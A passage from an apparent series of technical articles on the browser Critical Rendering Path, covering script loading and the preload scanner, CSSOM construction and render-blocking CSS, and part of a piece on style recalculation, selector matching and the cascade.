### Anti-Patterns That Defeat the Scanner

**Injected scripts**: Creating scripts via JavaScript delays their discovery:

```js
// ❌ Hidden from preload scanner—downloads late
const script = document.createElement("script")
script.src = "/analytics.js"
document.head.appendChild(script)
```

```html
<!-- ✅ Visible to preload scanner—downloads immediately -->
<script src="/analytics.js" async></script>
```

The declarative approach allows parallel loading with CSS; the injected approach waits for preceding resources.

**Above-the-fold lazy loading**: Using JavaScript lazy-loading on viewport-visible images defeats the scanner and delays Largest Contentful Paint (LCP):

```html
<!-- ❌ Scanner sees data-src, not a real image URL -->
<img data-src="/hero.jpg" class="lazy" />

<!-- ✅ Scanner discovers immediately; lazy-load below-fold images only -->
<img src="/hero.jpg" />
```

### When to Use `rel="preload"` Hints

Use preload hints only when resources are genuinely hidden from the scanner:

```html
<head>
  <!-- Preload font referenced in CSS -->
  <link rel="preload" href="/fonts/main.woff2" as="font" type="font/woff2" crossorigin />

  <!-- Preload hero image referenced in CSS background-image -->
  <link rel="preload" href="/hero.jpg" as="image" />

  <link rel="stylesheet" href="/styles.css" />
</head>
```

**Caution**: Overusing preload can backfire. Preloaded resources compete for bandwidth with scanner-discovered resources. Only preload what's truly critical and invisible to the scanner.

---

## Edge Cases and Gotchas

### Script Execution Order Complexities

When mixing loading strategies, execution order can be surprising:

```html
<script defer src="a.js"></script>
<!-- Executes 2nd -->
<script async src="b.js"></script>
<!-- Executes when ready (unpredictable) -->
<script src="c.js"></script>
<!-- Executes 1st (blocks parser) -->
<script defer src="d.js"></script>
<!-- Executes 3rd -->
```

The synchronous script (`c.js`) executes first because it blocks parsing. Deferred scripts maintain their order relative to each other. Async scripts race independently.

### Inline Scripts Cannot Be Deferred

`defer` and `async` have no effect on inline scripts:

```html
<!-- ❌ defer is ignored—executes synchronously -->
<script defer>
  console.log("This runs immediately, blocking the parser")
</script>
```

Module scripts are the exception—inline modules are deferred:

```html
<!-- ✅ This is deferred even though inline -->
<script type="module">
  console.log("This runs after DOM parsing completes")
</script>
```

### DOMContentLoaded Timing

`DOMContentLoaded` fires after:

1. HTML parsing completes
2. All deferred scripts execute (in order)
3. All module scripts execute (in order)

It does **not** wait for:

- Async scripts (may fire before or after)
- Stylesheets (unless they block a script that blocks DOMContentLoaded)
- Images, iframes, or other subresources

### Parser Reentrancy

A script can call `document.write()` during parsing, which injects tokens into the current position. This creates reentrancy:

```html
<script>
  document.write("<p>Injected</p>")
  // Parser processes <p>Injected</p> NOW, before continuing
</script>
```

If the injected content includes a script, that script runs before the outer script completes. The parser maintains a **script nesting level** to handle this complexity.

### Template Element Parsing

`<template>` elements have special parsing rules. Their content is parsed but not rendered—it exists in a separate **document fragment**:

```html
<template id="my-template">
  <script>
    // This script does NOT execute during page load
    console.log("Template content script")
  </script>
</template>
```

Scripts inside templates only execute when the template is cloned and inserted into the main document.

---

## Conclusion

DOM construction is a highly optimized but sensitive process. The HTML5 parser's error-tolerant design ensures every document produces a DOM, but this comes with complex algorithms like adoption agency and foster parenting that can produce surprising results from malformed markup.

Parser-blocking scripts and their indirect dependency on CSSOM remain the primary bottlenecks in the Critical Rendering Path. The preload scanner mitigates these delays by discovering resources early, but only for resources visible in the initial HTML markup.

Modern loading strategies should be the default:

- Use `defer` for application scripts that need ordered execution
- Use `type="module"` for ES Module-based applications
- Use `async` only for truly independent third-party scripts
- Avoid `document.write()` entirely—Chrome actively blocks it on slow connections

The goal is to keep the parser unblocked so DOM construction and resource discovery can proceed as quickly as possible.

---

## Appendix

### Prerequisites

- Understanding of HTTP request-response cycle
- Familiarity with the DOM and how JavaScript interacts with it
- Basic knowledge of CSS and the cascade

### Terminology

- **DOM (Document Object Model)**: Tree representation of HTML structure; nodes have properties and methods for manipulation
- **CSSOM (CSS Object Model)**: Tree representation of parsed CSS rules; required for style calculation
- **CRP (Critical Rendering Path)**: Sequence of steps from bytes to pixels: DOM → CSSOM → Style → Layout → Paint → Composite
- **FOUC (Flash of Unstyled Content)**: Visual artifact when content renders before CSS loads
- **Preload Scanner**: Secondary parser that discovers resources while the primary parser is blocked
- **Parser-Blocking**: Resource that halts HTML parsing (synchronous scripts)
- **Render-Blocking**: Resource that halts first paint (CSS)
- **Insertion Mode**: Parser state determining how tokens are processed during tree construction
- **Adoption Agency Algorithm**: Error recovery for misnested formatting elements like `<b>` and `<i>`
- **Foster Parenting**: Error recovery for content misplaced inside `<table>` elements
- **DCL (DOMContentLoaded)**: Event fired when HTML parsing and deferred scripts complete

### Summary

- The HTML parser is a state machine with 80+ tokenization states and 23 insertion modes
- Error recovery algorithms (adoption agency, foster parenting) ensure malformed HTML produces consistent DOM trees
- Scripts block parsing by default because `document.write()` can modify the token stream
- CSS blocks script execution (not parsing) to ensure correct computed style queries
- The preload scanner achieves ~20% faster loads by discovering resources during parser blocks
- `defer` and `type="module"` are the preferred loading strategies for application scripts
- Chrome blocks `document.write()` on slow connections (since Chrome 55)

### References

- [WHATWG HTML Spec: Parsing HTML documents](https://html.spec.whatwg.org/multipage/parsing.html) — Canonical parsing algorithm, tokenization states, tree construction rules
- [WHATWG HTML Spec: Scripting](https://html.spec.whatwg.org/multipage/scripting.html) — Script element behavior, async/defer/module semantics
- [Chrome DevRel: Intervening against document.write()](https://developer.chrome.com/blog/removing-document-write) — Chrome's document.write intervention details
- [web.dev: Don't fight the browser preload scanner](https://web.dev/articles/preload-scanner) — Preload scanner patterns and anti-patterns
- [web.dev: Modulepreload](https://web.dev/articles/modulepreload) — ES module preloading mechanics
- [MDN: Critical Rendering Path](https://developer.mozilla.org/en-US/docs/Web/Performance/Critical_rendering_path) — Overview of DOM and CSSOM construction
- [MDN: rel="modulepreload"](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Attributes/rel/modulepreload) — Modulepreload attribute reference
- [Andy Davies: How the Browser Pre-loader Makes Pages Load Faster](https://andydavies.me/blog/2013/10/22/how-the-browser-pre-loader-makes-pages-load-faster/) — Historical context on preload scanner implementation

---

## Critical Rendering Path: CSSOM Construction

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/critical-rendering-path/crp-cssom-construction
**Category:** Browser & Runtime Internals / Critical Rendering Path
**Description:** The CSS Object Model (CSSOM) is the browser engine’s internal representation of all CSS rules—a tree structure of stylesheets, rule objects, and declaration blocks. Unlike DOM construction, which is incremental, CSSOM construction must complete entirely before rendering can proceed. This render-blocking behavior exists because the CSS cascade requires the full rule set to resolve which declarations win.

# Critical Rendering Path: CSSOM Construction

The **CSS Object Model (CSSOM)** is the browser engine's internal representation of all CSS rules—a tree structure of stylesheets, rule objects, and declaration blocks. Unlike [DOM construction](../crp-dom-construction/README.md), which is incremental, CSSOM construction must complete entirely before rendering can proceed. This render-blocking behavior exists because the CSS cascade requires the full rule set to resolve which declarations win.

<figure>

![CSSOM Construction](./cssom-construction.inline.svg)

<figcaption>CSSOM tree structure: CSSStyleSheet objects contain ordered lists of CSSRule objects. The browser must process all rules before computing styles because later rules can override earlier ones via the cascade.</figcaption>

</figure>

## Abstract

CSSOM construction transforms CSS bytes into a queryable object model through a two-stage pipeline:

1. **Tokenization** — CSS bytes become tokens (identifiers, numbers, strings, delimiters) via a state machine defined in CSS Syntax Level 3
2. **Parsing** — Tokens become a tree of `CSSStyleSheet` → `CSSRule` → declaration objects

**Why render-blocking?** The cascade algorithm requires all rules to determine the winning declaration for each property. Rendering with partial CSS would cause Flash of Unstyled Content (FOUC) as later rules override earlier ones.

**Key interactions:**

| Resource              | Blocks Parsing? | Blocks Rendering?   | Blocks JS Execution?        |
| --------------------- | --------------- | ------------------- | --------------------------- |
| CSS (default)         | No              | **Yes**             | **Yes** (if script follows) |
| CSS (`media="print"`) | No              | No                  | No                          |
| CSS (`@import`)       | No              | **Yes** (waterfall) | **Yes**                     |

**The critical constraint**: Scripts can query styles via `getComputedStyle()`, so the browser blocks script execution until pending stylesheets complete. This creates a dependency chain where CSS indirectly blocks DOM construction when scripts are involved.

## The CSS Parsing Pipeline

### Stage 1: Tokenization

The CSS tokenizer converts a stream of code points into tokens. The [W3C CSS Syntax Module Level 3](https://www.w3.org/TR/css-syntax-3/) defines this process:

> "CSS syntax describes how to correctly transform a stream of Unicode code points into a sequence of CSS tokens (tokenization)."

**Preprocessing** (before tokenization):

- CR, FF, and CR+LF sequences normalize to single LF
- NULL characters and surrogate code points become U+FFFD (replacement character)
- Encoding detected from: HTTP header → BOM → `@charset` → referrer encoding → UTF-8 default

**Token types:**

| Token                | Example                       | Purpose                  |
| -------------------- | ----------------------------- | ------------------------ |
| `<ident-token>`      | `color`, `background-image`   | Property names, keywords |
| `<function-token>`   | `rgb(`, `calc(`, `var(`       | Function calls           |
| `<at-keyword-token>` | `@media`, `@import`, `@layer` | At-rules                 |
| `<hash-token>`       | `#header`, `#fff`             | IDs and hex colors       |
| `<string-token>`     | `"Open Sans"`, `'icon.png'`   | Quoted values            |
| `<number-token>`     | `42`, `3.14`, `-1`            | Numeric values           |
| `<dimension-token>`  | `16px`, `2em`, `100vh`        | Numbers with units       |
| `<percentage-token>` | `50%`, `100%`                 | Percentage values        |

### Stage 2: Parsing

The parser transforms tokens into CSS structures following the grammar:

- **At-rules**: `@` + name + prelude + optional block (e.g., `@media screen { ... }`)
- **Qualified rules**: prelude (selector) + declaration block (e.g., `.nav { color: blue; }`)
- **Declarations**: property + `:` + value + optional `!important`

**Error recovery** is a defining characteristic:

> "When errors occur in CSS, the parser attempts to recover gracefully, throwing away only the minimum amount of content before returning to parsing as normal."

This design choice ensures forward compatibility—new CSS features are invalid syntax to older parsers, but the stylesheet continues functioning:

```css collapse={1-3,9-11}
/* Modern browser: uses container query */
/* Older browser: ignores @container, uses .card default */
@container (min-width: 400px) {
  .card {
    grid-template-columns: 1fr 2fr;
  }
}
.card {
  display: grid;
  gap: 1rem;
}
```

### The Resulting CSSOM Structure

The parser produces a tree of JavaScript-accessible objects defined in the [W3C CSSOM specification](https://www.w3.org/TR/cssom-1/):

```
document.styleSheets (StyleSheetList)
  └── CSSStyleSheet
        ├── cssRules (CSSRuleList)
        │     ├── CSSStyleRule (selector + declarations)
        │     ├── CSSMediaRule (condition + nested rules)
        │     ├── CSSImportRule (href + optional media)
        │     └── CSSLayerBlockRule (@layer + nested rules)
        ├── media (MediaList)
        └── disabled (boolean)
```

**Key interfaces:**

- `CSSStyleSheet.cssRules` — live collection of rules; modifications update the CSSOM immediately
- `CSSStyleSheet.insertRule(rule, index)` — insert rule at position
- `CSSStyleSheet.deleteRule(index)` — remove rule at position
- `CSSStyleRule.selectorText` — the selector string
- `CSSStyleRule.style` — `CSSStyleDeclaration` with property access

---

## Why CSSOM Must Be Complete Before Rendering

The design choice to make CSS render-blocking trades initial latency for visual stability. The cascade algorithm cannot produce correct results with partial input.

### The Cascade Requires All Rules

Consider this scenario:

```css
/* Rule 1: loaded first */
.button {
  background: red;
}

/* ... hundreds of rules ... */

/* Rule 2: loaded later */
.button {
  background: blue;
}
```

If the browser rendered with only Rule 1 present, the button would flash red before turning blue when Rule 2 arrives. The cascade resolution depends on:

1. **Origin** — User agent vs. user vs. author stylesheets
2. **Importance** — `!important` inverts normal precedence
3. **Cascade Layers** — `@layer` ordering (CSS Cascade Level 5)
4. **Specificity** — ID > class > type selector weight
5. **Source Order** — Later declarations win at equal specificity

Without the complete rule set, the browser cannot determine the winning declaration.

### Layout Stability Concerns

CSS properties like `display`, `position`, and `float` fundamentally change element geometry. Rendering with partial CSS would cause:

- **Content reflow** — Text wrapping changes as `width` constraints arrive
- **Layout shifts** — Elements repositioning as positioning rules load
- **Visual jank** — Accumulated shifts creating a poor user experience

The browser's choice: delay First Contentful Paint (FCP) until CSSOM completes rather than present an unstable initial frame.

---

## Interaction with JavaScript

CSSOM construction creates a synchronization point between stylesheets and scripts. This happens because JavaScript can read computed styles.

### Why Scripts Wait for CSSOM

Scripts frequently query style information:

```javascript collapse={1-2,8-10}
// These all require resolved styles
const element = document.querySelector(".sidebar")
const width = element.offsetWidth // Layout property
const color = getComputedStyle(element).color // Computed style
const rect = element.getBoundingClientRect() // Geometry

// If CSSOM isn't complete, these return wrong values
```

The browser enforces a rule: **script execution is blocked while there are pending stylesheets in the document**.

This creates the blocking chain:

```
HTML Parser → <link rel="stylesheet"> → CSS download starts
           → continues parsing...
           → <script src="app.js">   → Parser pauses
                                      → Script downloads
                                      → CSS still loading? Wait.
                                      → CSS complete → CSSOM built
                                      → Script executes
                                      → Parser resumes
```

### Properties That Force Style Resolution

From [Paul Irish's comprehensive list](https://gist.github.com/paulirish/5d52fb081b3570c81e3a), these JavaScript operations require the CSSOM:

**Layout-dependent properties** (also force layout):

- `offsetLeft`, `offsetTop`, `offsetWidth`, `offsetHeight`, `offsetParent`
- `clientLeft`, `clientTop`, `clientWidth`, `clientHeight`
- `scrollWidth`, `scrollHeight`, `scrollTop`, `scrollLeft`
- `getClientRects()`, `getBoundingClientRect()`

**getComputedStyle** requires CSSOM when:

- Element is in a shadow tree
- Querying properties affected by viewport media queries
- Querying layout-dependent properties (`width`, `height`, `transform`, etc.)

**Recommendation**: Minimize style queries in critical path JavaScript. Batch reads before writes to avoid thrashing.

---

## Media Queries and Render-Blocking Behavior

Not all stylesheets block rendering. The browser evaluates media queries at parse time and only blocks on stylesheets that could affect the current viewport.

### Conditional Render-Blocking

| Stylesheet                                                               | Blocks Rendering?             | Explanation                             |
| ------------------------------------------------------------------------ | ----------------------------- | --------------------------------------- |
| `<link rel="stylesheet" href="main.css">`                                | **Yes**                       | No media condition = applies everywhere |
| `<link rel="stylesheet" href="print.css" media="print">`                 | No                            | Print media doesn't match screen        |
| `<link rel="stylesheet" href="desktop.css" media="(min-width: 1024px)">` | **Only if viewport ≥ 1024px** | Evaluated against current viewport      |
| `<link rel="stylesheet" href="style.css" disabled>`                      | No                            | Disabled stylesheets are ignored        |

**The browser still downloads non-blocking stylesheets** but at lower priority. They're available for media query changes (e.g., window resize, print dialog).

### Non-Blocking CSS Loading Pattern

A common optimization loads non-critical CSS without blocking rendering:

```html collapse={1}
<head>
  <!-- Critical CSS inlined for immediate rendering -->
  <style>
    .header {
      height: 60px;
      background: #fff;
    }
    .hero {
      min-height: 400px;
    }
  </style>

  <!-- Non-critical CSS: print media initially, switch on load -->
  <link rel="stylesheet" href="full.css" media="print" onload="this.media='all'" />
  <noscript><link rel="stylesheet" href="full.css" /></noscript>
</head>
```

**How it works:**

1. `media="print"` makes the stylesheet non-render-blocking for screen
2. Browser downloads it with lower priority
3. `onload` fires when download completes, setting `media="all"`
4. Styles apply after initial paint (may cause FOUC for below-fold content)

### The `blocking="render"` Attribute

The WHATWG HTML Standard added explicit control over render-blocking:

```html
<!-- Script-inserted stylesheet that should block rendering -->
<link rel="stylesheet" href="critical.css" blocking="render" />

<!-- Script that should block rendering (even if async) -->
<script src="hydration.js" blocking="render"></script>
```

**Use case**: When a script dynamically inserts stylesheets, the browser doesn't block rendering by default. Adding `blocking="render"` to the inserted stylesheet prevents FOUC.

---

## The `@import` Problem

`@import` rules create a request waterfall that defeats browser optimizations.

### Why @import Hurts Performance

```css
/* main.css - browser must download this first */
@import url("reset.css");
@import url("components.css");
/* ... other rules ... */
```

The browser cannot discover `reset.css` and `components.css` until `main.css` downloads and parses. This creates a sequential waterfall:

```
[========= main.css =========]
                              [======= reset.css =======]
                                                         [=== components.css ===]
```

With `<link>` elements, the preload scanner discovers all stylesheets immediately:

```
[========= main.css =========]
[======= reset.css =======]    (parallel)
[=== components.css ===]       (parallel)
```

### Real-World Impact

[HTTP Archive data](https://calendar.perfplanet.com/2024/the-curious-performance-case-of-css-import/) (16.27 million websites):

- 18.86% of sites use `@import` (3.06 million)
- WooCommerce sites using `@import` showed **37% worse mobile P75 LCP**
- Removing `@import` from Vipio.com improved FCP by **32.7%** (2782ms → 1872ms)

**Recommendation**: Replace `@import` with `<link rel="stylesheet">` elements. The only valid use case is dynamically loading stylesheets based on conditions the HTML cannot express.

### @import Evaluation Timing

`@import` rules must appear before any other rules in a stylesheet (except `@charset` and `@layer`). The browser:

1. Parses the parent stylesheet
2. Encounters `@import`
3. Initiates fetch for imported stylesheet
4. **Blocks CSSOM completion** until imported stylesheet loads and parses
5. Continues with remaining parent rules

Nested `@import` (imported file contains another `@import`) compounds the waterfall.

---

## Developer Optimizations

### Critical CSS Inlining

Extract CSS required for above-the-fold content and inline it in the HTML:

```html collapse={1-2,14-16}
<!DOCTYPE html>
<html>
  <head>
    <style>
      /* Critical CSS: above-the-fold only */
      body {
        margin: 0;
        font-family: system-ui;
      }
      .header {
        height: 60px;
        display: flex;
        align-items: center;
      }
      .hero {
        min-height: 50vh;
        background: #f5f5f5;
      }
    </style>

    <!-- Load full CSS asynchronously -->
    <link rel="preload" href="full.css" as="style" onload="this.onload=null;this.rel='stylesheet'" />
    <noscript><link rel="stylesheet" href="full.css" /></noscript>
  </head>
</html>
```

**Target**: Keep critical CSS under **14 KB compressed**—the maximum data in the first TCP roundtrip.

**Trade-off**: Inlined CSS cannot be cached separately. For repeat visits, external stylesheets (cached) may perform better.

### Preload for CSS

`<link rel="preload">` elevates resource priority and enables early discovery:

```html
<head>
  <!-- Preload: discovered immediately, highest priority -->
  <link rel="preload" href="critical.css" as="style" />

  <!-- Fonts referenced in CSS: hidden from preload scanner -->
  <link rel="preload" href="/fonts/main.woff2" as="font" type="font/woff2" crossorigin />

  <link rel="stylesheet" href="critical.css" />
</head>
```

**When to use preload for CSS**:

- Stylesheets in `@import` chains (defeats waterfall)
- Stylesheets added dynamically by JavaScript
- Stylesheets in Shadow DOM (not discoverable by parser)

**When NOT to use preload**:

- Stylesheets already in `<head>` as `<link rel="stylesheet">` — already discovered by preload scanner

### Constructable Stylesheets

Modern browsers support creating stylesheets programmatically without DOM manipulation:

```javascript collapse={1-2,10-14}
// Create and populate stylesheet
const sheet = new CSSStyleSheet()
sheet.replaceSync(`
  .component { padding: 1rem; }
  .component--active { background: #e0e0e0; }
`)

// Apply to document
document.adoptedStyleSheets = [...document.adoptedStyleSheets, sheet]

// Apply to Shadow DOM
const shadow = element.attachShadow({ mode: "open" })
shadow.adoptedStyleSheets = [sheet]
```

**Benefits**:

- **Shared styles**: One stylesheet instance across multiple shadow roots
- **No FOUC**: Styles apply synchronously after `replaceSync()`
- **No DOM nodes**: No `<style>` elements to manage
- **Efficient updates**: `replace()` for async, `replaceSync()` for sync

**Browser support**: Chrome 73+, Edge 79+, Firefox 101+, Safari 16.4+

---

## Conclusion

CSSOM construction is the synchronization gate in the Critical Rendering Path. The render-blocking behavior ensures visual stability by requiring the complete cascade input before style resolution.

**Key optimization strategies**:

1. **Minimize render-blocking CSS** — Inline critical styles, defer non-critical
2. **Avoid `@import`** — Use `<link>` elements for parallel discovery
3. **Use media queries** — Non-matching stylesheets don't block rendering
4. **Preload hidden CSS** — Fonts and `@import`ed stylesheets benefit from preload hints
5. **Batch script style queries** — Minimize forced synchronous style resolution

The CSSOM's render-blocking nature is a deliberate design trade-off: the browser delays the first frame to guarantee visual consistency. Understanding this constraint helps engineers minimize CSS in the critical path while ensuring users never see Flash of Unstyled Content.

---

## Appendix

### Prerequisites

- Understanding of the Critical Rendering Path and its stages
- Familiarity with [DOM construction](../crp-dom-construction/README.md)
- Basic knowledge of CSS cascade, specificity, and inheritance

### Terminology

| Term                | Definition                                                                  |
| ------------------- | --------------------------------------------------------------------------- |
| **CSSOM**           | CSS Object Model — the tree of stylesheet objects, rules, and declarations  |
| **CSSStyleSheet**   | JavaScript interface representing a single stylesheet                       |
| **CSSRule**         | Base interface for all CSS rule types (style rules, at-rules)               |
| **Render-Blocking** | Resource that prevents First Contentful Paint until loaded                  |
| **FOUC**            | Flash of Unstyled Content — visual artifact when content renders before CSS |
| **Cascade**         | Algorithm determining which CSS declaration wins when multiple rules match  |
| **Preload Scanner** | Secondary parser discovering resources while main parser is blocked         |
| **Critical CSS**    | Minimum CSS required to render above-the-fold content                       |

### Summary

- CSS is render-blocking because the cascade requires all rules to resolve winning declarations
- The CSS parser uses a two-stage pipeline: tokenization (bytes → tokens) then parsing (tokens → CSSOM tree)
- Scripts are blocked on pending stylesheets because they may query computed styles via `getComputedStyle()`
- Media queries control render-blocking: `media="print"` stylesheets don't block screen rendering
- `@import` creates request waterfalls that defeat browser optimizations—use `<link>` instead
- Critical CSS inlining trades cacheability for faster First Contentful Paint
- Constructable Stylesheets provide a modern API for programmatic CSSOM manipulation

### References

- [W3C CSS Object Model (CSSOM) Specification](https://www.w3.org/TR/cssom-1/) — Core CSSOM interfaces and algorithms
- [W3C CSS Syntax Module Level 3](https://www.w3.org/TR/css-syntax-3/) — Tokenization and parsing grammar
- [W3C CSS Cascading and Inheritance Level 5](https://www.w3.org/TR/css-cascade-5/) — Cascade algorithm with layers
- [WHATWG HTML Standard: Render-Blocking](https://html.spec.whatwg.org/multipage/dom.html#blocking-attributes) — `blocking="render"` attribute
- [web.dev: Render Blocking CSS](https://web.dev/articles/critical-rendering-path/render-blocking-css) — Practical render-blocking guidance
- [web.dev: Constructing the Object Model](https://web.dev/articles/critical-rendering-path/constructing-the-object-model) — CSSOM construction overview
- [web.dev: Constructable Stylesheets](https://web.dev/articles/constructable-stylesheets) — Modern stylesheet API
- [web.dev: Extract Critical CSS](https://web.dev/articles/extract-critical-css) — Critical CSS techniques
- [Paul Irish: What Forces Layout/Reflow](https://gist.github.com/paulirish/5d52fb081b3570c81e3a) — Comprehensive forced layout list
- [Web Performance Calendar: The Curious Case of CSS @import](https://calendar.perfplanet.com/2024/the-curious-performance-case-of-css-import/) — @import performance impact data
- [MDN: Critical Rendering Path](https://developer.mozilla.org/en-US/docs/Web/Performance/Critical_rendering_path) — CRP overview and CSSOM role

---

## Critical Rendering Path: Style Recalculation

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/critical-rendering-path/crp-style-recalculation
**Category:** Browser & Runtime Internals / Critical Rendering Path
**Description:** Style Recalculation transforms the DOM and CSSOM into computed styles for every element. The browser engine matches CSS selectors against DOM nodes, resolves cascade conflicts, and computes absolute values—producing the ComputedStyle objects that the Layout stage consumes. In Chromium’s Blink engine, this phase is handled by the StyleResolver, which uses indexed rule sets, Bloom filters, and invalidation sets to minimize work on each frame.

# Critical Rendering Path: Style Recalculation

Style Recalculation transforms the DOM and CSSOM into computed styles for every element. The browser engine matches CSS selectors against DOM nodes, resolves cascade conflicts, and computes absolute values—producing the `ComputedStyle` objects that the Layout stage consumes. In Chromium's Blink engine, this phase is handled by the `StyleResolver`, which uses indexed rule sets, Bloom filters, and invalidation sets to minimize work on each frame.

<figure>

![Figure 1: Style Recalculation pipeline in modern browser engines. Blink's StyleResolver orchestrates rule indexing, selector matching, cascading, and value computation.](./figure-1-style-recalculation-pipeline-in-modern-browser-engines-blink-s-styleres.svg)

<figcaption>Figure 1: Style Recalculation pipeline in modern browser engines. Blink's StyleResolver orchestrates rule indexing, selector matching, cascading, and value computation.</figcaption>
</figure>

## Abstract

Style Recalculation answers one question for every DOM element: **what is the final value of each CSS property?** The mental model:

1. **Index rules by rightmost selector** — Engines partition stylesheets into hash maps keyed by ID, class, and tag. This lets the matcher skip irrelevant rules entirely.
2. **Match selectors right-to-left** — Starting from the key selector (rightmost) and walking ancestors. Bloom filters enable fast rejection of impossible ancestor chains.
3. **Resolve conflicts via the Cascade** — Origin, encapsulation context, `!important`, layers, specificity, then source order. CSS Cascade Level 5 added `@layer` for explicit precedence control.
4. **Compute absolute values** — Convert relative units (`rem`, `%`, `vh`) and keywords (`inherit`, `initial`) to concrete pixel values or constants.

The cost scales with: (number of elements needing recalc) × (number of rules to consider per element) × (cascade complexity). Minimizing each factor is the optimization target.

## From Render Tree to Style Recalculation

Older browser documentation merged style computation with layout under the term **Render Tree construction**. Modern engines like Chromium (RenderingNG/BlinkNG) treat Style Recalculation as a discrete pipeline phase with strict lifecycle invariants. As of BlinkNG, `ComputedStyle` objects achieve their final values during style recalc and remain immutable thereafter—previously they could be modified during layout, creating subtle bugs.

> **Prior to BlinkNG (pre-2021):** `ComputedStyle` was sometimes updated during the layout phase. This made it difficult to reason about when data was finalized and blocked features like container queries that depend on strict style-layout separation.

The `DocumentLifecycle` class enforces this invariant: modifying a `ComputedStyle` property requires the document state to be `kInStyleRecalc`.

## The Process

### 1. Rule Indexing

Before any matching occurs, the engine compiles and indexes all active stylesheets. In Blink, the `RuleSet` object partitions rules by their **rightmost compound selector** (the "key selector"):

- Rules ending in `#header` go into the `IdRules` map under key `"header"`
- Rules ending in `.nav-link` go into the `ClassRules` map under key `"nav-link"`
- Rules ending in `div` go into the `TagRules` map

This indexing happens via `FindBestRuleSetAndAdd()` during stylesheet parsing. When matching an element, the engine only considers rules from the relevant buckets—not the entire stylesheet.

**Design rationale:** Examining every rule for every element is O(elements × rules). Indexing reduces this to O(elements × relevant-rules), where relevant-rules is typically orders of magnitude smaller for well-structured CSS.

### 2. Selector Matching

The engine evaluates selectors **right to left**, starting from the key selector and walking up the ancestor chain.

> "The selector represents a particular pattern of element(s) in a tree structure." — [W3C Selectors Level 4](https://www.w3.org/TR/selectors-4/)

**Why right-to-left?** Consider `.container .nav .item`:

- **Left-to-right:** Find all `.container` elements, then check if any descendant is `.nav`, then `.item`. Requires traversing down potentially huge subtrees.
- **Right-to-left:** Find all `.item` elements (the key selector), then verify ancestors include `.nav` and `.container`. Most elements fail the key selector immediately—no ancestor traversal needed.

The rightmost selector acts as a filter. Since most rules don't match most elements, failing fast on the key selector avoids expensive ancestor walks.

#### Bloom Filters for Ancestor Matching

When a selector does require ancestor verification (descendant/child combinators), Blink uses a **Bloom filter** to fast-reject impossible matches.

The Bloom filter is a probabilistic data structure where:

- **False positives are possible** — it might say "could match" when it can't
- **False negatives are impossible** — if it says "doesn't match," that's definitive

**Implementation:** As the engine traverses the DOM tree, it maintains a Bloom filter containing the IDs, classes, and tags of all ancestor elements. For a selector like `.container .nav .item`, when evaluating an `.item` element, the engine queries the ancestor filter for `.nav` and `.container`. If either returns "not present," the selector cannot match—skip to the next rule without walking the ancestor chain.

> "WebKit saw a 25% improvement overall with a 2X improvement for descendant and child selectors." — [CSS Selector Performance](https://calendar.perfplanet.com/2011/css-selector-performance-has-changed-for-the-better/)

**Trade-off:** Larger stylesheets increase false positive rates. The filter speeds up rejection, but when it returns "maybe," the engine still performs exact ancestor traversal.

### 3. The Cascade Algorithm

When multiple declarations target the same property on the same element, the CSS Cascade resolves the conflict. As of CSS Cascade Level 5, the cascade applies these criteria in descending priority:

| Priority | Criterion                   | Resolution                                                                                              |
| -------- | --------------------------- | ------------------------------------------------------------------------------------------------------- |
| 1        | **Origin & Importance**     | Transition > `!important` UA > `!important` user > `!important` author > Animation > author > user > UA |
| 2        | **Encapsulation Context**   | For normal rules, outer scope wins. For `!important`, inner scope wins                                  |
| 3        | **Element-Attached Styles** | Inline `style` attribute beats same-origin rule-based declarations                                      |
| 4        | **Cascade Layers**          | For normal rules, later/unlayered wins. For `!important`, earlier layers win                            |
| 5        | **Specificity**             | ID count → class/attribute/pseudo-class count → type/pseudo-element count                               |
| 6        | **Source Order**            | Last declaration wins                                                                                   |

#### Cascade Layers (`@layer`)

CSS Cascade Level 5 introduced `@layer` for explicit precedence control independent of specificity. Layers are ordered by first declaration:

```css collapse={1-2}
/* Layer order: reset < base < components < utilities */
/* Unlayered styles form an implicit final layer with highest normal priority */
@layer reset, base, components, utilities;

@layer reset {
  * {
    margin: 0;
    box-sizing: border-box;
  }
}

@layer components {
  .btn {
    padding: 8px 16px;
  } /* Lower precedence than unlayered */
}

/* Unlayered: wins over all layers for normal declarations */
.btn-override {
  padding: 12px 24px;
}
```

**Key inversion for `!important`:** For normal declarations, later layers win. For `!important` declarations, **earlier layers win**. This lets foundational layers (resets) use `!important` to enforce invariants without being overridden by component layers.

### 4. Value Computation

After cascade resolution, the engine computes absolute values. This involves:

- **Resolving relative units:** `2rem` → `32px` (if root font-size is 16px)
- **Resolving percentages:** `width: 50%` → computed value remains `50%`; the used value (after layout) becomes pixels
- **Applying keywords:** `inherit` copies parent's computed value; `initial` uses the property's initial value
- **Handling `currentcolor`:** Resolves to the element's computed `color` value

**Computed vs. Used vs. Resolved Values:**

| Value Type   | When Determined                   | Example                                                           |
| ------------ | --------------------------------- | ----------------------------------------------------------------- |
| **Computed** | After cascade, before layout      | `width: 50%` stays `50%`                                          |
| **Used**     | After layout                      | `width: 50%` becomes `400px`                                      |
| **Resolved** | What `getComputedStyle()` returns | Returns used value for dimensions if rendered; computed otherwise |

The CSSOM spec notes: "The concept of 'computed value' changed between revisions of CSS while the implementation of `getComputedStyle()` had to remain the same for compatibility." This is why `getComputedStyle()` returns **resolved values**, not strictly computed values.

## Performance Optimization

### Understanding Invalidation

When DOM changes (element added/removed, class toggled, attribute modified), the engine must determine which elements need style recalculation. Blink uses **InvalidationSets** to minimize this scope.

**How InvalidationSets work:**

1. During stylesheet compilation, rules are analyzed for invalidation patterns. The rule `.c1 div.c2 { color: red }` creates invalidation logic: "if `.c1` changes, invalidate descendants matching `div.c2`"
2. DOM changes trigger invalidation collection, accumulating affected elements in `PendingInvalidationsMap`
3. When styles are read (e.g., next frame), `StyleInvalidator::Invalidate()` processes pending invalidations
4. Only invalidated elements enter style recalculation

**Design rationale:** Invalidating everything on every change is correct but expensive. InvalidationSets accept some over-invalidation (marking elements that didn't actually change) to avoid the cost of precise dependency tracking.

### The Matched Properties Cache

Blink's `MatchedPropertiesCache` (MPC) enables style sharing between elements with identical matching rules. When element B would resolve to the same `ComputedStyle` as element A (same matched rules, same inherited values), the cache returns A's style directly.

**When MPC hits:** Sibling elements with identical classes and no style-affecting attributes often share styles. Lists, tables, and repeated components benefit significantly.

